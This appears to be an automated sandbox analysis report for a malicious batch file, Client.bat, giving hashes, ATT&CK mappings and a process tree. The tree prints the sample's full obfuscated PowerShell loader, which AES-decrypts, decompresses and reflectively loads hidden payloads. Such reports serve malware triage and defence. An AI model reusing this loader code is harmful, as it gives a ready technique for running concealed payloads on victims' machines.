e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca

Resubmissions

08/05/2024, 23:00

240508-2zf8nsef4910

08/05/2024, 22:58

240508-2x3znaee5210

Analysis

max time kernel
17s
max time network
16s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
08/05/2024, 23:00

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General

Target
Client.bat
Size 493KB
Sample240508-2zf8nsef49
SHA256 e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca
MD5 7094ce0a4c530778a5065a3cb7ba3c4a
SHA1 c5731b65b80a4a59b5d5d4d0c47bcbc45db723b1
SHA512 774f2b9a6328b39eb7053e9db17a2e48e399bbcf900b83922150e2dae6b886cda9f5af99c8571e2202c8abc2af2e1dd9c0a3bae88ab14cd4fb4970c2b285268b
SSDEEP 12288:7oS1Mi3ZvEVDfxjtQL6q7Kf/vCgFfdYsH:7o+MihEt1uOf/vbfYu
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 2560	1692	cmd.exe	29
PID 1692 wrote to memory of 2560	1692	cmd.exe	29
PID 1692 wrote to memory of 2560	1692	cmd.exe	29
PID 1692 wrote to memory of 2912	1692	cmd.exe	30
PID 1692 wrote to memory of 2912	1692	cmd.exe	30
PID 1692 wrote to memory of 2912	1692	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2912-4-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

Download

memory/2912-5-0x000000001B630000-0x000000001B912000-memory.dmp

Download

memory/2912-6-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Download

memory/2912-7-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Download

memory/2912-8-0x00000000023C0000-0x00000000023C8000-memory.dmp

Download

memory/2912-9-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Download

memory/2912-10-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Download

memory/2912-11-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Download

memory/2912-12-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Download